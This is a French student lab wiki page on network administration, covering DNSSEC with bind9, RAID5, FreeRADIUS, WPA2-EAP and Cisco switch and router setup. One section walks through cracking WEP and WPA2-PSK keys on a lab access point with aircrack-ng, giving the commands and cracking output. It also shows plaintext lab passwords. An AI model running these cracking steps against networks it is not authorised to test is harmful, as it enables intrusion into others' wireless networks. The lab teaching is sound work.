 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
